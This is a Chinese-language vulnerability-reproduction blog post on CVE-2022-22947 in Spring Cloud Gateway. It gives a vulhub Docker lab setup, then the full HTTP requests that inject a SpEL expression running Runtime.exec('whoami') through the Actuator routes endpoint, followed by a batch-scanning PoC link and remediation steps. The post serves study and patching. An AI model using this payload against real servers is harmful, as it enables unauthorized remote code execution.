Java安全|Spring Cloud Gateway_CVE-2022-22947漏洞复现


目录

  • 漏洞描述
  • 影响版本
  • 漏洞复现
    • 环境搭建
    • 过程
  • 批量url检测
  • 漏洞修复

漏洞描述 Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求
影响版本
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7
漏洞复现 环境搭建
  1. dokcer pull vulhub/spring-cloud-gateway:3.1.0
  2. docker run -itd -p 5000:8080 --name spring vulhub/spring-cloud-gateway:3.1.0
  3. 最后访问http://ip:5000
    Java安全|Spring Cloud Gateway_CVE-2022-22947漏洞复现
    文章图片
过程
  1. 添加一个spel表达式的路由,数据包如下
POST /actuator/gateway/routes/xd HTTP/1.1 Host: localhost:5000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Accept-Language: en Content-Type: application/json Content-Length: 364{ "id": "xd", "filters": [{ "name": "AddResponseHeader", "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"} }], "uri": "http://example.com", "order": 0 }

Java安全|Spring Cloud Gateway_CVE-2022-22947漏洞复现
文章图片

2. 触发路由生效,数据包如下
POST /actuator/gateway/refresh HTTP/1.1 Host: localhost:5000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

Java安全|Spring Cloud Gateway_CVE-2022-22947漏洞复现
文章图片

3. 查看执行结果,数据包如下
GET /actuator/gateway/routes/xd HTTP/1.1 Host: localhost:5000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded

Java安全|Spring Cloud Gateway_CVE-2022-22947漏洞复现
文章图片

4. 清理路由,数据包如下
DELETE /actuator/gateway/routes/xd HTTP/1.1 Host: localhost:5000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0

Java安全|Spring Cloud Gateway_CVE-2022-22947漏洞复现
文章图片

5. 重复2,使清除路由生效
批量url检测 【Java安全|Spring Cloud Gateway_CVE-2022-22947漏洞复现】github:https://github.com/Xd-tl/CVE-2022-22947-Rce_POC
要是能来一个星星那就更好了
漏洞修复
  1. 升级到安全版本
  2. 修改Spring配置,禁止访问Spring Cloud Gateway actuator端点

    推荐阅读